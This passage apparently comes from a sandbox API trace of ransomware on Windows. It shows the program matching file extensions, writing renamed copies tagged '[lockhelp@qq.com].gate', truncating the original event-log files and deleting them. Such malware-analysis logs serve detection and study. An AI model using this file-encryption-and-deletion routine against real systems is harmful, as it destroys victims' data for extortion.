returned -1 [0278.805] lstrlenW (lpString=".rar") returned 4 [0278.805] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString=".bz2") returned 4 [0278.805] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString=".7z") returned 3 [0278.805] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.805] lstrlenW (lpString=".dbf") returned 4 [0278.805] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.805] lstrlenW (lpString=".1cd") returned 4 [0278.805] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.805] lstrlenW (lpString=".jpg") returned 4 [0278.805] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.805] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.805] lstrlenW (lpString=".doc") returned 4 [0278.805] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.805] lstrlenW (lpString=".docx") returned 5 [0278.806] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.806] lstrlenW (lpString=".pdf") returned 4 [0278.806] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString=".xls") returned 4 [0278.806] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString=".xlsx") returned 5 [0278.806] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.806] lstrlenW (lpString=".ppt") returned 4 [0278.806] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.806] lstrlenW (lpString=".zip") returned 4 [0278.806] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString=".rar") returned 4 [0278.806] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString=".bz2") returned 4 [0278.806] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString=".7z") returned 3 [0278.806] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.806] lstrlenW (lpString=".dbf") returned 4 [0278.806] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.806] lstrlenW (lpString=".1cd") returned 4 [0278.806] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.806] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0278.806] lstrlenW (lpString=".jpg") returned 4 [0278.806] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.806] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.806] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0278.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.807] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=69632) returned 1 [0278.807] CloseHandle (hObject=0x3a4) returned 1 [0278.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0278.807] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.807] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.807] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.807] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0278.808] GetLastError () returned 0x0 [0278.808] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.872] WriteFile (in: hFile=0x404, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.874] ReadFile (in: hFile=0x3a4, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0278.874] WriteFile (in: hFile=0x404, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x146, lpOverlapped=0x0) returned 1 [0278.874] SetEndOfFile (hFile=0x404) returned 1 [0278.875] CloseHandle (hObject=0x404) returned 1 [0278.876] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0278.876] SetEndOfFile (hFile=0x3a4) returned 1 [0278.877] CloseHandle (hObject=0x3a4) returned 1 [0278.877] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.878] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 1 [0278.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.973] lstrlenW (lpString=".doc") returned 4 [0278.973] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.973] lstrlenW (lpString=".docx") returned 5 [0278.973] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.973] lstrlenW (lpString=".pdf") returned 4 [0278.973] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.973] lstrlenW (lpString=".xls") returned 4 [0278.973] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.973] lstrlenW (lpString=".xlsx") returned 5 [0278.973] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.973] lstrlenW (lpString=".ppt") returned 4 [0278.973] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.973] lstrlenW (lpString=".zip") returned 4 [0278.973] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString=".rar") returned 4 [0278.974] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString=".bz2") returned 4 [0278.974] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString=".7z") returned 3 [0278.974] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.974] lstrlenW (lpString=".dbf") returned 4 [0278.974] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.974] lstrlenW (lpString=".1cd") returned 4 [0278.974] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.974] lstrlenW (lpString=".jpg") returned 4 [0278.974] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.974] lstrlenW (lpString=".doc") returned 4 [0278.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString=".docx") returned 5 [0278.974] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.974] lstrlenW (lpString=".pdf") returned 4 [0278.974] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString=".xls") returned 4 [0278.974] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString=".xlsx") returned 5 [0278.974] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.974] lstrlenW (lpString=".ppt") returned 4 [0278.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.974] lstrlenW (lpString=".zip") returned 4 [0278.974] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.974] lstrlenW (lpString=".rar") returned 4 [0278.975] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.975] lstrlenW (lpString=".bz2") returned 4 [0278.975] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.975] lstrlenW (lpString=".7z") returned 3 [0278.975] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.975] lstrlenW (lpString=".dbf") returned 4 [0278.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.975] lstrlenW (lpString=".1cd") returned 4 [0278.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 65 [0278.975] lstrlenW (lpString=".jpg") returned 4 [0278.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.975] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.975] lstrlenW (lpString="Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 48 [0278.975] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0279.254] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=1052672) returned 1 [0279.254] CloseHandle (hObject=0x388) returned 1 [0279.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 0x20 [0279.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0279.255] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.255] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0279.255] GetLastError () returned 0x0 [0279.255] ReadFile (in: hFile=0x388, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xffff0, lpOverlapped=0x0) returned 1 [0279.467] WriteFile (in: hFile=0x44c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xffff0, lpOverlapped=0x0) returned 1 [0279.481] ReadFile (in: hFile=0x388, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x1010, lpOverlapped=0x0) returned 1 [0279.488] WriteFile (in: hFile=0x44c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x1020, lpOverlapped=0x0) returned 1 [0279.491] ReadFile (in: hFile=0x388, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.491] WriteFile (in: hFile=0x44c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x134, lpOverlapped=0x0) returned 1 [0279.491] SetEndOfFile (hFile=0x44c) returned 1 [0279.491] CloseHandle (hObject=0x44c) returned 1 [0279.770] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.770] SetEndOfFile (hFile=0x388) returned 1 [0279.771] CloseHandle (hObject=0x388) returned 1 [0279.771] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.771] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wmi-activity%4operational.evtx")) returned 1 [0279.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.771] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.771] lstrlenW (lpString=".doc") returned 4 [0279.771] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.771] lstrlenW (lpString=".docx") returned 5 [0279.771] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.771] lstrlenW (lpString=".pdf") returned 4 [0279.771] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.771] lstrlenW (lpString=".xls") returned 4 [0279.771] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.771] lstrlenW (lpString=".xlsx") returned 5 [0279.771] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.772] lstrlenW (lpString=".ppt") returned 4 [0279.772] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.772] lstrlenW (lpString=".zip") returned 4 [0279.772] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString=".rar") returned 4 [0279.772] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString=".bz2") returned 4 [0279.772] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString=".7z") returned 3 [0279.772] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.772] lstrlenW (lpString=".dbf") returned 4 [0279.772] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.772] lstrlenW (lpString=".1cd") returned 4 [0279.772] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.772] lstrlenW (lpString=".jpg") returned 4 [0279.772] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.772] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.772] lstrlenW (lpString=".doc") returned 4 [0279.772] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString=".docx") returned 5 [0279.772] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.772] lstrlenW (lpString=".pdf") returned 4 [0279.772] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString=".xls") returned 4 [0279.772] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.772] lstrlenW (lpString=".xlsx") returned 5 [0279.772] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.773] lstrlenW (lpString=".ppt") returned 4 [0279.773] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.773] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.773] lstrlenW (lpString=".zip") returned 4 [0279.773] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.773] lstrlenW (lpString=".rar") returned 4 [0279.773] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.773] lstrlenW (lpString=".bz2") returned 4 [0279.773] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.773] lstrlenW (lpString=".7z") returned 3 [0279.773] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.773] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.773] lstrlenW (lpString=".dbf") returned 4 [0279.773] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.773] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.773] lstrlenW (lpString=".1cd") returned 4 [0279.773] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.773] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-WMI-Activity%4Operational.evtx") returned 56 [0279.773] lstrlenW (lpString=".jpg") returned 4 [0279.773] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.773] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0279.773] lstrlenW (lpString="OfficeC2RCom.dll") returned 16 [0279.773] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0279.902] GetFileSizeEx (in: hFile=0x42c, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=996568) returned 1 [0279.902] CloseHandle (hObject=0x42c) returned 1 [0279.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll")) returned 0x20 [0279.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rcom.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0279.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.902] lstrlenW (lpString=".doc") returned 4 [0279.902] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.902] lstrlenW (lpString=".docx") returned 5 [0279.902] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0279.902] lstrlenW (lpString=".pdf") returned 4 [0279.902] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.902] lstrlenW (lpString=".xls") returned 4 [0279.902] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.902] lstrlenW (lpString=".xlsx") returned 5 [0279.903] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0279.903] lstrlenW (lpString=".ppt") returned 4 [0279.903] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.903] lstrlenW (lpString=".zip") returned 4 [0279.903] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.903] lstrlenW (lpString=".rar") returned 4 [0279.903] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.903] lstrlenW (lpString=".bz2") returned 4 [0279.903] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.903] lstrlenW (lpString=".7z") returned 3 [0279.903] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.903] lstrlenW (lpString=".dbf") returned 4 [0279.903] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.903] lstrlenW (lpString=".1cd") returned 4 [0279.903] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.903] lstrlenW (lpString=".jpg") returned 4 [0279.903] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.903] lstrlenW (lpString=".doc") returned 4 [0279.903] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0279.903] lstrlenW (lpString=".docx") returned 5 [0279.903] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1 [0279.903] lstrlenW (lpString=".pdf") returned 4 [0279.903] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0279.903] lstrlenW (lpString=".xls") returned 4 [0279.903] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0279.903] lstrlenW (lpString=".xlsx") returned 5 [0279.903] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1 [0279.903] lstrlenW (lpString=".ppt") returned 4 [0279.904] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0279.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.904] lstrlenW (lpString=".zip") returned 4 [0279.904] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0279.904] lstrlenW (lpString=".rar") returned 4 [0279.904] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0279.904] lstrlenW (lpString=".bz2") returned 4 [0279.904] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0279.904] lstrlenW (lpString=".7z") returned 3 [0279.904] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0279.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.904] lstrlenW (lpString=".dbf") returned 4 [0279.904] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0279.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.904] lstrlenW (lpString=".1cd") returned 4 [0279.904] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0279.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RCom.dll") returned 74 [0279.904] lstrlenW (lpString=".jpg") returned 4 [0279.904] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0279.904] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0279.904] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0279.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\bg-BG\\tipresx.dll.mui" 